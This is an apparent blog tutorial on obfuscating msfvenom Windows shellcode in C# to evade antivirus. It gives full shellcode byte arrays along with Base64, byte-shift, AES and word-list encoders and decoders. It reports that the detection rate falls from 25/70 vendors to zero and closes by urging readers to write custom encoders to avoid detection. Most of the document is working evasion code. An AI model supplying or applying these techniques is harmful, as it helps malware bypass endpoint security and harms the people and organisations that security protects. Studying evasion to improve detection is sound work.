Shellcode Obfuscation

In this article, we’re looking at the effectiveness of encoding Shellcode within malware. Rather than making a full payload, we’re just looking at the embedding the Shellcode itself rather than executing it. I think it’s best to test each stage of an attack in isolation before combining the elements.

Raw Shellcode

Placing Msfvenom Shellcode directly into a binary results in 25/70 vendors detecting the sample as malicious. This is not surprising, since it’s open source software many signatures have been developed for it.

using System;

namespace ShellcodeEncoding
{
    internal class Program
    {

        static void Main(string[] args)
        {
            // msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
            byte[] Shellcode = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
            0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
            0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
            0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
            0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
            0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
            0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
            0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
            0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
            0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
            0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
            0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
            0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
            0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
            0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
            0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
            0x63,0x2e,0x65,0x78,0x65,0x00};

            Console.WriteLine(Shellcode);
        }
    }
}

Base64 Encoded Shellcode

Using Base64 encoding drops the detection rates to 12/70;

using System;

namespace ShellcodeEncoding
{
    internal class Program
    {
        public static string Decode(string base64EncodedData)
        {
            var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData);
            return System.Text.Encoding.UTF8.GetString(base64EncodedBytes);
        }
        static void Main(string[] args)
        {
            // msfvenom -p windows/x64/exec CMD=calc.exe -f base64
            string Shellcode = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";

            Console.WriteLine(Decode(Shellcode));
        }
    }
}

Caesar Cipher Encoded Shellcode

In this example we add a small encoded routine to obfuscate the Shellcode through character substitution. Two vendors still classify this as malicious;

using System;
using System.Text;

namespace ShellcodeEncoding
{
    internal class Program
    {

        public static byte[] Decode(byte[] buf)
        {
            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)(((uint)buf[i] - 4) & 0xFF);
            }
            return buf;
        }

        static void Main(string[] args)
        {
            // msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
            byte[] Shellcode = new byte[276] { 0x00, 0x4c, 0x87, 0xe8, 0xf4, 0xec, 0xc4, 0x04, 0x04, 0x04, 0x45, 0x55, 0x45, 0x54, 0x56, 0x55, 0x5a, 0x4c, 0x35, 0xd6, 0x69, 0x4c, 0x8f, 0x56, 0x64, 0x4c, 0x8f, 0x56, 0x1c, 0x4c, 0x8f, 0x56, 0x24, 0x4c, 0x8f, 0x76, 0x54, 0x4c, 0x13, 0xbb, 0x4e, 0x4e, 0x51, 0x35, 0xcd, 0x4c, 0x35, 0xc4, 0xb0, 0x40, 0x65, 0x80, 0x06, 0x30, 0x24, 0x45, 0xc5, 0xcd, 0x11, 0x45, 0x05, 0xc5, 0xe6, 0xf1, 0x56, 0x45, 0x55, 0x4c, 0x8f, 0x56, 0x24, 0x8f, 0x46, 0x40, 0x4c, 0x05, 0xd4, 0x8f, 0x84, 0x8c, 0x04, 0x04, 0x04, 0x4c, 0x89, 0xc4, 0x78, 0x6b, 0x4c, 0x05, 0xd4, 0x54, 0x8f, 0x4c, 0x1c, 0x48, 0x8f, 0x44, 0x24, 0x4d, 0x05, 0xd4, 0xe7, 0x5a, 0x4c, 0x03, 0xcd, 0x45, 0x8f, 0x38, 0x8c, 0x4c, 0x05, 0xda, 0x51, 0x35, 0xcd, 0x4c, 0x35, 0xc4, 0xb0, 0x45, 0xc5, 0xcd, 0x11, 0x45, 0x05, 0xc5, 0x3c, 0xe4, 0x79, 0xf5, 0x50, 0x07, 0x50, 0x28, 0x0c, 0x49, 0x3d, 0xd5, 0x79, 0xdc, 0x5c, 0x48, 0x8f, 0x44, 0x28, 0x4d, 0x05, 0xd4, 0x6a, 0x45, 0x8f, 0x10, 0x4c, 0x48, 0x8f, 0x44, 0x20, 0x4d, 0x05, 0xd4, 0x45, 0x8f, 0x08, 0x8c, 0x4c, 0x05, 0xd4, 0x45, 0x5c, 0x45, 0x5c, 0x62, 0x5d, 0x5e, 0x45, 0x5c, 0x45, 0x5d, 0x45, 0x5e, 0x4c, 0x87, 0xf0, 0x24, 0x45, 0x56, 0x03, 0xe4, 0x5c, 0x45, 0x5d, 0x5e, 0x4c, 0x8f, 0x16, 0xed, 0x5b, 0x03, 0x03, 0x03, 0x61, 0x4c, 0xbe, 0x05, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x4c, 0x91, 0x91, 0x05, 0x05, 0x04, 0x04, 0x45, 0xbe, 0x35, 0x8f, 0x73, 0x8b, 0x03, 0xd9, 0xbf, 0xf4, 0xb9, 0xa6, 0x5a, 0x45, 0xbe, 0xaa, 0x99, 0xc1, 0xa1, 0x03, 0xd9, 0x4c, 0x87, 0xc8, 0x2c, 0x40, 0x0a, 0x80, 0x0e, 0x84, 0xff, 0xe4, 0x79, 0x09, 0xbf, 0x4b, 0x17, 0x76, 0x73, 0x6e, 0x04, 0x5d, 0x45, 0x8d, 0xde, 0x03, 0xd9, 0x67, 0x65, 0x70, 0x67, 0x32, 0x69, 0x7c, 0x69, 0x04 };

            byte[] DecodedShellcode = Decode(Shellcode);

            Console.WriteLine(System.Text.Encoding.Default.GetString(DecodedShellcode));

        }
    }
}

AES Encryption

The below encoding routine produces a Base64 encoded AES encrypted string containing our shellcode;

using System;
using System.Text;
using System.IO;
using System.Security.Cryptography;

namespace ShellcodeEncoding
{
    public class AesOperation
    {
        public static string EncryptString(string key, string plainText)
        {
            byte[] iv = new byte[16];
            byte[] array;

            using (Aes aes = Aes.Create())
            {
                aes.Key = Encoding.UTF8.GetBytes(key);
                aes.IV = iv;

                ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);

                using (MemoryStream memoryStream = new MemoryStream())
                {
                    using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, encryptor, CryptoStreamMode.Write))
                    {
                        using (StreamWriter streamWriter = new StreamWriter((Stream)cryptoStream))
                        {
                            streamWriter.Write(plainText);
                        }

                        array = memoryStream.ToArray();
                    }
                }
            }

            return Convert.ToBase64String(array);
        }
    }

    internal class Program
    {

        static void Main(string[] args)
        {

            byte[] Shellcode = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
            0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
            0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
            0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
            0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
            0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
            0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
            0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
            0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
            0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
            0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
            0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
            0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
            0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
            0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
            0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
            0x63,0x2e,0x65,0x78,0x65,0x00};

            var key = "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF";
            var str = System.Text.Encoding.Default.GetString(Shellcode);
            var encryptedString = AesOperation.EncryptString(key, str);
            Console.WriteLine($"encrypted string = {encryptedString}");

            Console.ReadKey();


        }
    }
}

The following code is used to decrypt the Shellcode;

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace AESShellcodeDecoder
{

    public class AesOperation
    {
        public static string DecryptString(string key, string cipherText)
        {
            byte[] iv = new byte[16];
            byte[] buffer = Convert.FromBase64String(cipherText);

            using (Aes aes = Aes.Create())
            {
                aes.Key = Encoding.UTF8.GetBytes(key);
                aes.IV = iv;
                ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);

                using (MemoryStream memoryStream = new MemoryStream(buffer))
                {
                    using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, decryptor, CryptoStreamMode.Read))
                    {
                        using (StreamReader streamReader = new StreamReader((Stream)cryptoStream))
                        {
                            return streamReader.ReadToEnd();
                        }
                    }
                }
            }
        }
    }

    internal class Program
    {
        static void Main(string[] args)
        {
            var key = "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF";
            var encryptedString = "PvQTvpmGEXoytPgdWgCrw3x+kRy+hZ+ArvlFDE202ZoaZ1PGfOycx9IRFYEpGj3s28QSVOq8uhmLrHUmslOaI5pP4j9zijlh7c3EofdTyOhyNQsOfJVL4ti1IcYe03Wd7Bk1RVCZ9YaZuBR8PQ+SFEz32w3FkBBQEPKd2fjltagDoML9xOrjFoPnVxtOBtwFHds4NwJ6Hqx1RNBD1WBjH3aKCgk1v7fsrbzIRj8nMva+A3JOpO83XMmCxkVm2Iu1ZQFt50H5wa20N0d3FMms/epIgtqBBDVlPCdGmXaVkfzVBUBgxwGo3WHtIbVyM4FJnOy2oY+16jMXh1Nin+HlBf6n9Lg5fkEuLvt9KusXn6dLkP9VPj/gSC09sPyy9AyeCWnBqlw7TErlLNlJ4YkYuV4w6gOsMNgVb+iIPxVfHTOqZ3dSqf+Thz0gchn1Gx06FIdmIc2OeIOkvoWyxIZrEpgJxJNRPoYtBCfXsAGfZXv24b+xDqpbGA0i/muzxOYtFOHSRyvFdf1HeaG30cWcqQ==";
            var decryptedString = AesOperation.DecryptString(key, encryptedString);
            Console.WriteLine($"decrypted string = {decryptedString}");
        }
    }
}

This results in 5/70 AV Vendors detecting the sample as malicious!

So, using a simple Caesar cipher fairs better than using AES (with System.Security.Cryptography anyway).

Encoding using Words

First, we define a list of words in a separate class. For the sake of brevity I’ve limited the number of words included. However, we need 256 words defined in the WordList List; one for each possible byte.

using System.Collections.Generic;

namespace Encoding
{

    public class Words
    {

        public static List<string> EncodedWordList = new List<string>
        {
            "glue",
            "impartial",
            "optimal"
             };
    
        public static List<string> WordList = new List<string>  {
            "scarce",
            "annoy",
            "sore",
            "cowardly"
            };
    }
}

Next we need an encoding routine to convert Shellcode into a list of words;

using System;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Linq;
using System.Collections.Generic;
using System.Collections;

namespace ShellcodeEncoding
{

    internal class Program
    {
        static List<string> Encode(byte[] Shellcode)
        {
            // Loop over shellcode byte array and convert it to words
            List<string> WordList = new List<string>();

            for (int i = 0; i < Shellcode.Length; i++)
            {
                WordList.Add(Words.WordList[Shellcode[i]]);
            }
            return WordList;
        }

        static void Main(string[] args)
        {

            byte[] Shellcode = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
            0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
            0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
            0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
            0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
            0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
            0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
            0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
            0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
            0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
            0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
            0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
            0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
            0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
            0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
            0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
            0x63,0x2e,0x65,0x78,0x65,0x00};

            List<string> WordList = Encode(Shellcode);

            foreach (string word in WordList)
            {
                Console.WriteLine('"'+ word + '"' + ',');
            }

            Console.WriteLine("Number of entries; " + WordList.Count);

            Console.ReadKey();

        }
    }
}

Running the code will print out a list of words, with each word corresponding to a byte of Shellcode. This list of words will need to be added to the EncodedWordList List in the Words class.

Encoding.exe
"glue",
"impartial",
"optimal",
"psychedelic",
"cheat",
"desert",
"inject",
"scarce",
"scarce",
"scarce",
"peep",
"quixotic",
"peep",
<snip>

Deecoding Routine

The following routine just converts our words back to a byte array;

using System;
using System.Collections.Generic;

namespace Encoding
{
    internal class Program
    {
        static byte[] Decode(List<string> WordList)
        {
            List<byte> code = new List<byte>();

            foreach (string word in WordList)
            {
                int index = Words.WordList.FindIndex(a => a.Contains(word));
                byte byteValue = (byte)index;
                code.Add(byteValue);
            }

            byte[]  CodeArray = code.ToArray();
            return CodeArray;
        }
        

        static void Main(string[] args)
        {   
            byte[] CodeArray = Decode(Words.EncodedWordList);
            Console.WriteLine(System.Text.Encoding.Default.GetString(CodeArray));
            Console.ReadKey();

        }
    }
}

This results in zero detections for our packed shellcode;

In Conclusion

Although the code here does not represent a complete payload, it does demonstrate that not encoding your Shellcode properly will result in being detected.

Usage of encryption and obfuscation routines may still be detected just by looking at the amount of entropy in files, or if the routines have been implemented in other malware samples. It’s best to develop your own encoding routine where possible.